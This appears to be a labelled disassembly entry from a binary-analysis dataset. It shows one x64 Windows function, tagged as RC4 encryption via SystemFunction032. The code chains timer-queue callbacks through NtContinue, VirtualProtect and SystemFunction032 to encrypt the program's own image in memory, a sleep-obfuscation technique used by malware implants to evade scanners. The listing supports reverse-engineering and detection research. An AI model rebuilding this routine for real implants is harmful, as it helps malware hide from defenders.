Function at 0x140002840
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
push rbp
mov eax, 0x2280
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
and rsp, 0xfffffffffffffff0
call fcn.140002610
lea rsi, [0x140003020]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x26
sub rsp, rax
xor eax, eax
mov dword [rbp + 0x10], ecx
mov ecx, 0x134
lea rdi, [rsp + 0xd0]
mov dword [rsp + 0x7c], 0
lea r14, [rsp + 0x80]
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x5a0]
mov ecx, 0x134
mov qword [rsp + 0x80], 0
rep stosd dword [rdi], eax
lea rdi, [rsp + 0xa70]
mov ecx, 0x134
rep stosd dword [rdi], eax
lea rdi, [rsp + 0xf40]
mov ecx, 0x134
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x1410]
mov ecx, 0x134
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x18e0]
mov ecx, 0x134
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x1db0]
mov ecx, 0x134
rep stosd dword [rdi], eax
lea rdi, [rsp + 0xaa]
mov ecx, 0x26
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0xaa]
call fcn.140002830
xor edx, edx
mov qword [rsp + 0x90], rcx
movabs rax, 0x2600000026
xor ecx, ecx
mov qword [rsp + 0x88], rax
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r15, rax
call qword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, str.Ntdll
mov r12, rax
call rsi
lea rdx, str.NtContinue
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call rdi
lea rcx, str.Advapi32
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call rdi
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rsi
mov r8, qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rdx, r12
mov rcx, r14
mov r10, rax
movsxd rax, dword [rax + 0x3c]
mov r13, qword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov qword [rsp + 0xa0], r10
mov eax, dword [r10 + rax + 0x50]
mov qword [rsp + 0x50], r10
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x64], eax
mov dword [rsp + 0x9c], eax
mov dword [rsp + 0x98], eax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x68], rax
mov r9, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
nop
call rbp
mov r10, qword [rsp + 0x50]
test eax, eax
je 0x140002ce3
mov r11, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r9, [rsp + 0x5a0]
mov qword [rsp + 0x48], r10
mov rcx, r15
mov qword [rsp + 0x40], r9
mov edx, 0x32
mov qword [rsp + 0x50], r11
call r11
mov r9, qword [rsp + 0x40]
mov r10, qword [rsp + 0x48]
mov ecx, 0x134
mov eax, dword [rsp + 0x64]
mov rsi, qword [rsp + 0x68]
lea rdx, [rsp + 0x7c]
lea r8, [rsp + 0x88]
mov rdi, r9
rep movsd dword [rdi], dword [rsi]
mov rsi, qword [rsp + 0x68]
mov ecx, 0x134
lea rdi, [rsp + 0xa70]
rep movsd dword [rdi], dword [rsi]
mov rsi, qword [rsp + 0x68]
lea rdi, [rsp + 0xf40]
mov ecx, 0x134
rep movsd dword [rdi], dword [rsi]
mov rsi, qword [rsp + 0x68]
lea rdi, [rsp + 0x1410]
mov ecx, 0x134
rep movsd dword [rdi], dword [rsi]
mov rsi, qword [rsp + 0x68]
lea rdi, [rsp + 0x18e0]
mov ecx, 0x134
rep movsd dword [rdi], dword [rsi]
mov rsi, qword [rsp + 0x68]
lea rdi, [rsp + 0x1db0]
mov ecx, 0x134
rep movsd dword [rdi], dword [rsi]
mov rcx, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rsi, qword [rsp + 0x58]
mov qword [rsp + 0x620], r10
mov qword [rsp + 0x628], rax
mov qword [rsp + 0x698], rcx
mov qword [rsp + 0x660], rdx
sub qword [rsp + 0x638], 8
sub qword [rsp + 0xb08], 8
mov qword [rsp + 0x658], 4
mov qword [rsp + 0xb68], rsi
mov edi, dword [rbp + 0x10]
lea rsi, [rsp + 0x98]
mov r11, qword [rsp + 0x50]
mov qword [rsp + 0x1968], rax
mov qword [rsp + 0xfc8], rdi
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
mov rdi, qword [rsp + 0x58]
mov qword [rsp + 0x1038], r11
mov qword [rsp + 0x68], r11
mov qword [rsp + 0x1960], r10
mov qword [rsp + 0xaf8], r8
mov qword [rsp + 0x1498], r8
mov r8, rbx
mov qword [rsp + 0x19d8], rcx
mov rcx, r14
mov qword [rsp + 0x19a0], rdx
mov rdx, r12
sub qword [rsp + 0xfd8], 8
sub qword [rsp + 0x14a8], 8
sub qword [rsp + 0x1978], 8
sub qword [rsp + 0x1e48], 8
mov qword [rsp + 0xaf0], rsi
mov qword [rsp + 0xfc0], 0xffffffffffffffff
mov qword [rsp + 0x1508], rdi
mov qword [rsp + 0x1490], rsi
mov qword [rsp + 0x1998], 0x40
mov qword [rsp + 0x1ea8], rax
mov qword [rsp + 0x1e30], r15
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x64
call r13
mov r8, rbx
mov rdx, r12
mov rcx, r14
lea r9, [rsp + 0xa70]
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xc8
call r13
mov r8, rbx
mov rdx, r12
mov rcx, r14
lea r9, [rsp + 0xf40]
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x12c
call r13
mov r8, rbx
mov rdx, r12
mov rcx, r14
lea r9, [rsp + 0x1410]
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x190
call r13
mov r8, rbx
mov rdx, r12
mov rcx, r14
lea r9, [rsp + 0x18e0]
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1f4
call r13
mov rdx, r12
mov rcx, r14
mov r8, rbx
mov dword [rsp + 0x30], 0x20
lea r9, [rsp + 0x1db0]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x258
call r13
mov r11, qword [rsp + 0x68]
or edx, 0xffffffff
mov rcx, r15
call r11
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
lea rsp, [rbp - 0x38]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret